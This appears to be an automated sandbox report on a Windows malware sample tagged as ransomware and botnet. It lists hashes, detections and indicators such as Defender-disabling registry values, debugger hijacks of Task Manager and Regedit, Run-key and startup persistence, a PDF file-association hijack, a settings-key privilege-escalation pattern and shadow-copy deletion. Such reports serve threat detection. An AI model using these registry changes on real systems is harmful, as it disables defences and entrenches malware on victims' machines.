Analysis
- max time kernel
150s - max time network
151s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
17/05/2026, 05:07
Static task
static1
4 signatures
Behavioral task
behavioral1
Sample
2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
46 signatures
150 seconds
Behavioral task
behavioral2
Sample
2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe
Resource
win11-20260513-en
windows11-21h2-x64
45 signatures
150 seconds
General
- Target 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe
- Size 49KB
- Sample260517-fr76jacv2s
- SHA256 5b368fa465b508b378fd2293c33798c8b15aa5e47e0a7625d76508e797230aea
- MD5 8492453412c4945267385fcacc3a0455
- SHA1 484f3273d4e63a3b8cec67f42cbc00f2ccea995b
- SHA512 c95f58d026b232b91d323c63abe689125413008860bab8e99a9f58577337980c22c62896a05d9bf7b9a6320ca92bcbfee3f7f38322dbddf40cef5c53254f3c5c
- SSDEEP 768:HhFflWVjv2UD5Ewg6r3MtdP4q//w4GC1XXGblfA0GKFcB:BFgvVSwgcNqQ4GEXGblf9GucB
- TLSH T11933180437F98511E1FF5ABA4DB196119B30B4A79C32D78D0AD5058E1AB3740CDA8FB7
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 2 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral2/memory/2128-0-0x0000000000420000-0x0000000000432000-memory.dmp disable_win_def behavioral2/files/0x001300000002b94c-2390.dat disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe - Modifies security service 2 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4" 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Detects command variations typically used by ransomware 2 IoCs
resource yara_rule behavioral2/memory/2128-0-0x0000000000420000-0x0000000000432000-memory.dmp INDICATOR_SUSPICIOUS_GENRansomware behavioral2/files/0x001300000002b94c-2390.dat INDICATOR_SUSPICIOUS_GENRansomware - Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs
resource yara_rule behavioral2/memory/2128-0-0x0000000000420000-0x0000000000432000-memory.dmp INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender behavioral2/files/0x001300000002b94c-2390.dat INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2564 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe - Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 1580 netsh.exe - Disables service(s) 3 TTPs
- Drops startup file 64 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_75.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_174.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_188.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_4.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_74.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_145.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_154.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_28.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_30.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_42.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_42.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_57.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_98.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_169.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_54.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_82.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_32.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_36.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_54.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_73.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_90.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_121.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_112.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_135.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_141.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_147.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_149.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_153.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_177.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_97.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_131.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_39.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_45.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_93.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_158.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_163.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_183.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_25.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_57.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_148.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_2.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_65.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_111.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_113.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_114.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_152.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_155.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_41.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_104.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_181.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_196.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_70.pdf 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 4 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe - Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\svchost.exe 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Windows\system32\sysupdate.exe 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Windows\system32\sysupdate.exe 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe - Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 540 tasklist.exe - Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp" 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe - Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SystemTemp chrome.exe - Launches sc.exe 12 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2596 sc.exe 460 sc.exe 2300 sc.exe 408 sc.exe 3236 sc.exe 5020 sc.exe 1132 sc.exe 4040 sc.exe 4424 sc.exe 3132 sc.exe 5000 sc.exe 2272 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 1040 chrome.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 3736 NETSTAT.EXE 4456 ipconfig.exe - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 1636 systeminfo.exe - Interacts with shadow copies 3 TTPs 3 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2612 vssadmin.exe 4756 vssadmin.exe 4392 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Control Panel\Desktop\WallpaperStyle = "2" 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe - Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Set value (int) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134237516572350264" chrome.exe - Modifies registry class 17 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000_Classes\ms-settings\shell\open\command 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000_Classes\ms-settings 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000_Classes\ms-settings\shell\open\command\DelegateExecute 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ chrome.exe Key created \REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000_Classes\ms-settings\shell 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000_Classes\ms-settings\shell\open 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe\" \"%1\"" 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000_Classes\ms-settings\shell\open\command 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000_Classes\ms-settings\shell\open 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000_Classes\ms-settings\shell 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000_Classes\ms-settings 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000_Classes\.pdf\ = "PDFBotnet" 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1688 schtasks.exe 656 schtasks.exe 1236 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
